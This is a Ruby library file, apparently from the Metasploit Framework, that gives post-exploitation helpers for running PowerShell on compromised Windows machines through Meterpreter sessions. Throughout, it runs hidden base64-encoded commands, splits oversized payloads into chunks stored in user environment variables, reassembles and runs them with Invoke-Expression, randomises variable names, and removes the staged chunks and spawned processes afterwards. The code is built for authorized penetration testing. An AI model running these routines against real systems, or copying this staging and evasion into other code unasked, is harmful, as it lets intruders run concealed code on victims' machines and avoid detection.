lib/msf/core/post/windows/powershell.rb
# -*- coding: binary -*-
module Msf
class Post
module Windows
##
# Powershell exploitation routines
##
module Powershell
include ::Msf::Exploit::Powershell
include ::Msf::Post::Common
def initialize(info = {})
super(
update_info(
info,
'Compat' => {
'Meterpreter' => {
'Commands' => %w[
stdapi_sys_config_sysinfo
stdapi_sys_process_execute
stdapi_sys_process_get_processes
stdapi_sys_process_kill
]
}
}
)
)
register_advanced_options(
[
OptInt.new('Powershell::Post::timeout',
[true, 'Powershell execution timeout, set < 0 to run async without termination', 15]),
OptBool.new('Powershell::Post::log_output', [true, 'Write output to log file', false]),
OptBool.new('Powershell::Post::dry_run', [true, 'Return encoded output to caller', false]),
OptBool.new('Powershell::Post::force_wow64', [true, 'Force WOW64 execution', false]),
], self.class
)
end
#
# Returns true if powershell is installed
#
def have_powershell?
cmd_exec('cmd.exe', '/c "echo. | powershell get-host"') =~ /Name.*Version.*InstanceId/m
end
#
# Returns the Powershell version
#
def get_powershell_version
return nil unless have_powershell?
process, _pid, _c = execute_script('$PSVersionTable.PSVersion')
o = ''
while (d = process.channel.read)
if d == ""
if (Time.now.to_i - start < time_out) && (o == '')
sleep 0.1
else
break
end
else
o << d
end
end
o.scan(/[\d \-]+/).last.split[0, 2] * '.'
end
#
# Get/compare list of current PS processes - nested execution can spawn many children
# doing checks before and after execution allows us to kill more children...
# This is a hack, better solutions are welcome since this could kill user
# spawned powershell windows created between comparisons.
#
def get_ps_pids(pids = [])
current_pids = session.sys.process.get_processes.keep_if { |p| p['name'].casecmp('powershell.exe').zero? }.map { |p| p['pid'] }
# Subtract previously known pids
current_pids = (current_pids - pids).uniq
current_pids
end
#
# Execute a powershell script and return the output, channels, and pids. The script
# is never written to disk.
#
def execute_script(script, greedy_kill = false)
@session_pids ||= []
running_pids = greedy_kill ? get_ps_pids : []
open_channels = []
# Execute using -EncodedCommand
session.response_timeout = datastore['Powershell::Post::timeout'].to_i
ps_bin = datastore['Powershell::Post::force_wow64'] ?
'%windir%\syswow64\WindowsPowerShell\v1.0\powershell.exe' : 'powershell.exe'
# Check to ensure base64 encoding - regex format and content length division
unless script.to_s.match(/[A-Za-z0-9+\/]+={0,3}/)[0] == script.to_s && (script.to_s.length % 4).zero?
script = encode_script(script.to_s)
end
ps_string = "-EncodedCommand #{script} -InputFormat None"
vprint_good "EXECUTING:\n#{ps_bin} #{ps_string}"
cmd_out = session.sys.process.execute(ps_bin, ps_string, { 'Hidden' => true, 'Channelized' => true })
# Subtract prior PIDs from current
if greedy_kill
Rex::ThreadSafe.sleep(3) # Let PS start child procs
running_pids = get_ps_pids(running_pids)
end
# Add to list of running processes
running_pids << cmd_out.pid
# All pids start here, so store them in a class variable
(@session_pids += running_pids).uniq!
# Add to list of open channels
open_channels << cmd_out
[cmd_out, running_pids.uniq, open_channels]
end
#
# Powershell scripts that are longer than 8000 bytes are split into 8000
# byte chunks and stored as CMD environment variables. A new powershell
# script is built that will reassemble the chunks and execute the script.
# Returns the reassembly script.
#
def stage_cmd_env(compressed_script, env_suffix = Rex::Text.rand_text_alpha(8))
# Check to ensure script is encoded and compressed
if compressed_script =~ /\s|\.|\;/
compressed_script = compress_script(compressed_script)
end
# Divide the encoded script into 8000 byte chunks and iterate
index = 0
count = 8000
while index < compressed_script.size - 1
# Define random, but serialized variable name
env_variable = format("%05d%s", ((index + 8000) / 8000), env_suffix)
# Create chunk
chunk = compressed_script[index, count]
# Build the set commands
set_env_variable = "[Environment]::SetEnvironmentVariable(" \
"'#{env_variable}'," \
"'#{chunk}', 'User')"
# Compress and encode the set command
encoded_stager = encode_script(compress_script(set_env_variable))
# Stage the payload
print_good " - Bytes remaining: #{compressed_script.size - index}"
execute_script(encoded_stager, false)
index += count
end
# Build the script reassembler
reassemble_command = "[Environment]::GetEnvironmentVariables('User').keys|"
reassemble_command += "Select-String #{env_suffix}|Sort-Object|%{"
reassemble_command += "$c+=[Environment]::GetEnvironmentVariable($_,'User')"
reassemble_command += "};Invoke-Expression $($([Text.Encoding]::Unicode."
reassemble_command += "GetString($([Convert]::FromBase64String($c)))))"
# Compress and encode the reassemble command
encoded_script = encode_script(compress_script(reassemble_command))
encoded_script
end
#
# Uploads a script into a Powershell session via memory (Powershell session types only).
# If the script is larger than 15000 bytes the script will be uploaded in a staged approach
#
def stage_psh_env(script)
begin
ps_script = read_script(script)
encoded_expression = encode_script(ps_script)
cleanup_commands = []
# Add entropy to script variable names
script_var = ps_script.rig.generate(4)
decscript = ps_script.rig.generate(4)
scriptby = ps_script.rig.generate(4)
scriptbybase = ps_script.rig.generate(4)
scriptbybasefull = ps_script.rig.generate(4)
if encoded_expression.size > 14999
print_error "Script size: #{encoded_expression.size} This script requires a stager"
arr = encoded_expression.chars.each_slice(14999).map(&:join)
print_good "Loading #{arr.count} chunks into the stager."
vararray = []
arr.each_with_index do |slice, index|
variable = ps_script.rig.generate(5)
vararray << variable
indexval = index + 1
vprint_good "Loaded stage:#{indexval}"
session.shell_command("$#{variable} = \"#{slice}\"")
cleanup_commands << "Remove-Variable #{variable} -EA 0"
end
linkvars = ''
vararray.each { |var| linkvars << " + $#{var}" }
linkvars.slice!(0..2)
session.shell_command("$#{script_var} = #{linkvars}")
else
print_good "Script size: #{encoded_expression.size}"
session.shell_command("$#{script_var} = \"#{encoded_expression}\"")
end
session.shell_command("$#{decscript} = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($#{script_var}))")
session.shell_command("$#{scriptby} = [System.Text.Encoding]::UTF8.GetBytes(\"$#{decscript}\")")
session.shell_command("$#{scriptbybase} = [System.Convert]::ToBase64String($#{scriptby}) ")
session.shell_command("$#{scriptbybasefull} = ([System.Convert]::FromBase64String($#{scriptbybase}))")
session.shell_command("([System.Text.Encoding]::UTF8.GetString($#{scriptbybasefull}))|iex")
print_good "Module loaded"
unless cleanup_commands.empty?
vprint_good "Cleaning up #{cleanup_commands.count} stager variables"
session.shell_command(cleanup_commands.join(';').to_s)
end
rescue Errno::EISDIR => e
vprint_error "Unable to upload script: #{e.message}"
end
end
#
# Reads output of the command channel and empties the buffer.
# Will optionally log command output to disk.
#
def get_ps_output(cmd_out, eof, read_wait = 5)
results = ''
if datastore['Powershell::Post::log_output']
# Get target's computer name
computer_name = session.sys.config.sysinfo['Computer']
# Create unique log directory
log_dir = ::File.join(Msf::Config.log_directory, 'scripts', 'powershell', computer_name)
::FileUtils.mkdir_p(log_dir)
# Define log filename
time_stamp = ::Time.now.strftime('%Y%m%d:%H%M%S')
log_file = ::File.join(log_dir, "#{time_stamp}.txt")
# Open log file for writing
fd = ::File.new(log_file, 'w+')
end
# Read output until eof or nil return output and write to log
loop do
line = ::Timeout.timeout(read_wait) do
cmd_out.channel.read
end rescue nil
break if line.nil?
if line.sub!(/#{eof}/, '')
results << line
fd.write(line) if fd
break
end
results << line
fd.write(line) if fd
end
# Close log file
fd.close if fd
results
end
#
# Clean up powershell script including process and chunks stored in environment variables
#
def clean_up(script_file = nil, eof = '', running_pids = [], open_channels = [],
env_suffix = Rex::Text.rand_text_alpha(8), delete = false)
# Remove environment variables
env_del_command = "[Environment]::GetEnvironmentVariables('User').keys|"
env_del_command += "Select-String #{env_suffix}|%{"
env_del_command += "[Environment]::SetEnvironmentVariable($_,$null,'User')}"
script = compress_script(env_del_command, eof)
cmd_out, new_running_pids, new_open_channels = execute_script(script)
get_ps_output(cmd_out, eof)
# Kill running processes, should mutex this...
@session_pids = (@session_pids + running_pids + new_running_pids).uniq
(running_pids + new_running_pids).uniq.each do |pid|
begin
if session.sys.process.processes.map { |x| x['pid'] }.include?(pid)
session.sys.process.kill(pid)
end
@session_pids.delete(pid)
rescue Rex::Post::Meterpreter::RequestError => e
print_error "Failed to kill #{pid} due to #{e}"
end
end
# Close open channels
(open_channels + new_open_channels).uniq.each do |chan|
chan.channel.close
end
::File.delete(script_file) if script_file && delete
end
# Simple script execution wrapper, performs all steps
# required to execute a string of powershell.
# This method will try to kill all powershell.exe PIDs
# which appeared during its execution, set greedy_kill
# to false if this is not desired.
#
def psh_exec(script, greedy_kill = true, ps_cleanup = true)
# Define vars
eof = Rex::Text.rand_text_alpha(8)
# eof = "THIS__SCRIPT_HAS__COMPLETED_EXECUTION#{rand(100)}"
env_suffix = Rex::Text.rand_text_alpha(8)
start = Rex::Text.rand_text_alpha(8)
stop = Rex::Text.rand_text_alpha(8)
script = "echo #{start};" + script + "; echo #{stop}"
script = Rex::Powershell::Script.new(script) unless script.respond_to?(:compress_code)
# Check to ensure base64 encoding - regex format and content length division
unless script.to_s.match(/[A-Za-z0-9+\/]+={0,3}/)[0] == script.to_s && (script.to_s.length % 4).zero?
script = encode_script(compress_script(script.to_s, eof), eof)
end
if datastore['Powershell::Post::dry_run']
return "powershell -EncodedCommand #{script}"
else
# Check 8k cmd buffer limit, stage if needed
if script.size > 8100
vprint_error "Compressed size: #{script.size}"
error_msg = "Compressed size may cause command to exceed " \
"cmd.exe's 8kB character limit."
vprint_error error_msg
vprint_good 'Launching stager:'
script = stage_cmd_env(script, env_suffix)
print_good "Payload successfully staged."
else
print_good "Compressed size: #{script.size}"
end
vprint_good "Final command #{script}"
# Execute the script, get the output, and kill the resulting PIDs
cmd_out, running_pids, open_channels = execute_script(script, greedy_kill)
if datastore['Powershell::Post::timeout'].to_i < 0
out = "Started async execution of #{running_pids.join(', ')}, output collection and cleanup will not be performed"
# print_error out
return out
end
ps_output = get_ps_output(cmd_out, eof, datastore['Powershell::Post::timeout'])
ps_output = ps_output[/#{start}(.*?)#{stop}/m, 1].strip #https://stackoverflow.com/a/9661504
# Kill off the resulting processes if needed
if ps_cleanup
vprint_good "Cleaning up #{running_pids.join(', ')}"
clean_up(nil, eof, running_pids, open_channels, env_suffix, false)
end
return ps_output
end
end
end
end
end
end